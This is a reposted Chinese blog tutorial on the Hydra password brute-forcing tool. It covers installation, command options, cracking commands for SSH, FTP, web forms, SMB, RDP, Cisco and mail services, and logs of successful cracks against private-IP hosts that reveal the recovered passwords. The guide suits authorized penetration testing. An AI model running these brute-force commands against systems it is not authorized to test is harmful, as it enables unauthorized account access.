码迷,mamicode.com
首页 > 系统相关 > 详细

[转]Linux下的暴力密码破解工具Hydra详解

时间:2015-12-11 18:40:43      阅读:612      评论:0      收藏:0      [点我收藏+]

标签:

摘自:http://linzhibin824.blog.163.com/blog/static/735577102013144223127/

这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,使用本文内容去做破坏者,与本人无关。

一、简介

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、安装(http://www.aldeid.com/wiki/Thc-hydra)

Dependencies

NameLibPackage
Xhydra (GUI)   sudo apt-get install pkg-config libgtk2.0-dev
Openssl libssl/ssl.h sudo apt-get install libssl-dev
Postgres libpq.so sudo apt-get install libpq-dev
SVN (Subversion) libsvn_client-1, libapr-1.so, libaprutil-1.so sudo apt-get install libsvn-dev libapr1-dev libaprutil1-dev
firebird libfbclient.so sudo apt-get install firebird2.1-dev
MySQL client libmysqlclient.so sudo apt-get install libmysqlclient-dev
AFP libafpclient.so N/A
NCP libncp.so, nwcalls.h sudo apt-get install libncp-dev
SAP/R3 librfc/saprfc.h (See http://www.sdn.sap.com/irj/sdn/linux)
libssh libssh/libssh.h sudo apt-get install libssh-dev

如果是DebianUbuntu发行版,源里自带hydra,直接用apt-get在线安装:

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel 

hydra下载地址:http://www.thc.org/releases/hydra-7.4.2.tar.gz

# tar zxvf hydra-7.0-src.tar.gz # cd hydra-7.0-src # ./configure # make # make install 

hydra支持GUI图形界面,不过习惯还是命令好用。

三、参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
 

四、示例

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.PHP

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"  hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5、破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 

6、破解teamspeak:
 

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 

7、破解cisco:

hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb 

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3 

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V 

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18 

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
 

实测如下:

root@ubuntu:~# hydra -l administrator -P a.txt -t 10 -vV 10.148.149.253 smb
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-03 23:56:32
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] 1 task, 1 server, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking service smb on port 445
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 10.148.149.253 - login "administrator" - pass "root" - 1 of 4 [child 0]
[VERBOSE] accntFlag is 2
[VERBOSE] hashFlag is 2
[VERBOSE] Attempting WIN2K Native mode.
Server requested ENCRYPTED password without security signatures.
Server machine name: SVCTAG-B9HR53X
Server primary domain: WORKGROUP
Attempting NTLM password authentication.
Set NBSS header length: 87
Set byte count: 00
SMBSessionRet: 0100006D SMBerr: 006D SMBaction: 01
[ATTEMPT] target 10.148.149.253 - login "administrator" - pass "amgroup" - 2 of 4 [child 0]
[VERBOSE] Attempting WIN2K Native mode.
Server requested ENCRYPTED password without security signatures.
Server machine name: SVCTAG-B9HR53X
Server primary domain: WORKGROUP
Attempting NTLM password authentication.
Set NBSS header length: 87
Set byte count: 00
SMBSessionRet: 00000000 SMBerr: 0000 SMBaction: 00
[445][smb] host: 10.148.149.253   login: administrator   password: amgroup
[STATUS] attack finished for 10.148.149.253 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-03 23:56:32
 
root@ubuntu:~# hydra -l admin -P wordlis.txt -t 256 10.148.149.115 ssh
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:45:18
[DATA] 256 tasks, 1 server, 2107 login tries (l:1/p:2107), ~8 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 942.00 tries/min, 942 tries in 00:01h, 1165 todo in 00:02h
[STATUS] 893.50 tries/min, 1787 tries in 00:02h, 320 todo in 00:01h
[22][ssh] host: 10.148.149.115   login: admin   password: admin
[STATUS] attack finished for 10.148.149.115 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:47:43
 
root@ubuntu:~# hydra -l amgroup -P a.txt -t 10 -vV 10.148.149.241 ftp
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:04:08
[VERBOSE] More tasks defined than login/pass pairs exist. Tasks reduced to 4.
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "root" - 1 of 4 [child 0]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "amgroup" - 2 of 4 [child 1]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "admin" - 3 of 4 [child 2]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "flow" - 4 of 4 [child 3]
[21][ftp] host: 10.148.149.241   login: amgroup   password: amgroup
[STATUS] attack finished for 10.148.149.241 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:04:14
 
root@ubuntu:~# hydra -P a.txt 10.148.149.254 cisco
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:12:53
Warning: you should set the number of parallel task to 4 for cisco services.
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service cisco on port 23
[23][cisco] host: 10.148.149.254   login:    password: amgroup
[STATUS] attack finished for 10.148.149.254 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:12:53

 

root@ubuntu:~# hydra -l administrator -P a.txt -t 1 10.148.149.200 rdp
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:20:38
[DATA] 1 task, 1 server, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking service rdp on port 3389
[3389][rdp] host: 10.148.149.200   login: administrator   password: amgroup
[STATUS] attack finished for 10.148.149.200 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:20:41

[转]Linux下的暴力密码破解工具Hydra详解

标签:

原文地址:http://www.cnblogs.com/sevck/p/5039501.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!